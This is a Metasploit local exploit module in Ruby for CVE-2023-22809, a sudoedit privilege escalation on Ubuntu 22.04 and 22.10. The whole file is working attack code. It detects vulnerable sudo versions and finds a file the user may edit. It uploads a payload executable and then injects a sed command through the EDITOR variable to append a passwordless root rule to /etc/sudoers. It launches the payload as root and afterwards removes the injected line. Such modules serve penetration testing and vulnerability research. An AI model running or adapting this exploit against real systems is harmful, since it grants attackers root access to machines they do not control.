##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sudoedit Extra Arguments Priv Esc',
        'Description' => %q{
          This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.
          The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided
          environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to
          append arbitrary entries to the list of files to process. This can lead to privilege escalation.
          by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
          privileges.

          Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
          22.04 and 22.10.

          This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
          1.9.11p3-1ubuntu1 on Ubuntu 22.10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Matthieu Barjole', # original PoC, analysis
          'Victor Cutillas' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'EDB', '51217' ],
          [ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],
          [ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],
          [ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],
          [ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],
          [ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],
          [ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],
          [ 'CVE', '2023-22809' ]
        ],
        'DisclosureDate' => '2023-01-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),
      OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),
      OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),
    ]
  end

  def timeout
    datastore['TIMEOUT']
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def get_editable_file
    if datastore['EDITABLEFILE'].present?
      fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])

      vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")
      return datastore['EDITABLEFILE']
    end

    # we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to
    # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut
    editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev')
    editable_file = editable_file.strip
    if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')
      return nil
    end

    return nil unless file?(editable_file)

    editable_file
  end

  def get_sudo_version_from_sudo
    package = cmd_exec('sudo --version')
    package = package.split(' ')[2] # Sudo version XXX
    begin
      Rex::Version.new(package)
    rescue ArgumentError
      # this happens on systems like debian 8.7.1 which doesn't have sudo
      Rex::Version.new(0)
    end
  end

  def check
    sys_info = get_sysinfo

    # Check the app is installed and the version
    if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'
      package = cmd_exec('dpkg -l sudo | grep \'^ii\'')
      package = package.split(' ')[2] # ii, package name, version, arch
      begin
        ver_no = Rex::Version.new(package)
      rescue ArgumentError
        ver_no = get_sudo_version_from_sudo
      end
    else
      ver_no = get_sudo_version_from_sudo
    end

    # according to CVE listing, but so much backporting...
    minimal_version = '1.8.0'
    maximum_version = '1.9.12p1'
    exploitable = false

    # backporting... so annoying.
    # https://ubuntu.com/security/CVE-2023-22809
    if sys_info[:distro] == 'ubuntu'
      if sys_info[:version].include? '22.10' # kinetic
        exploitable = true
        maximum_version = '1.9.11p3-1ubuntu1.1'
      elsif sys_info[:version].include? '22.04' # jammy
        exploitable = true
        maximum_version = '1.9.9-1ubuntu2.2'
      elsif sys_info[:version].include? '20.04' # focal
        maximum_version = '1.8.31-1ubuntu1.4'
      elsif sys_info[:version].include? '18.04' # bionic
        maximum_version = '1.8.21p2-3ubuntu1.5'
      elsif sys_info[:version].include? '16.04'  # xenial
        maximum_version = '1.8.16-0ubuntu1.10+esm1'
      elsif sys_info[:version].include? '14.04'  # trusty
        maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
      end
    end

    if ver_no == Rex::Version.new(0)
      return Exploit::CheckCode::Unknown('Unable to detect sudo version')
    end

    if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)
      vprint_good("sudo version #{ver_no} is vulnerable")
      # check if theres an entry in /etc/sudoers that allows us to edit a file
      editable_file = get_editable_file
      if editable_file.nil?
        if exploitable
          return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
        else
          return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")
        end
      elsif exploitable
        return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")
      else
        return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")
      end
    end

    CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")
  end

  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    if get_editable_file.nil?
      fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable?(base_dir) && directory?(base_dir)
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    sys_info = get_sysinfo

    # Check the app is installed and the version
    fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'
    fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    register_file_for_cleanup(payload_path)

    @flag = Rex::Text.rand_text_alphanumeric(12)
    print_status 'Adding user to sudoers'
    # we tack on a flag so we can easily grep for this line and clean it up later
    command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"
    vprint_status("Executing command: #{command}")

    output = cmd_exec command, nil, timeout
    if output.include? '/etc/sudoers unchanged'
      fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')
    end

    if output.include? 'sudo: ignoring editor'
      fail_with(Failure::NotVulnerable, 'sudo is patched')
    end

    output.each_line { |line| vprint_status line.chomp }
    print_status('Spawning payload')

    # -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
    # also, attempting to thread off of sudo was problematic, solution was
    # https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
    # other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t
    output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end

  def on_new_session(session)
    if @flag
      session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")
      flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")
      if flag_found.include? @flag
        print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")
      end
    end
    super
  end
end
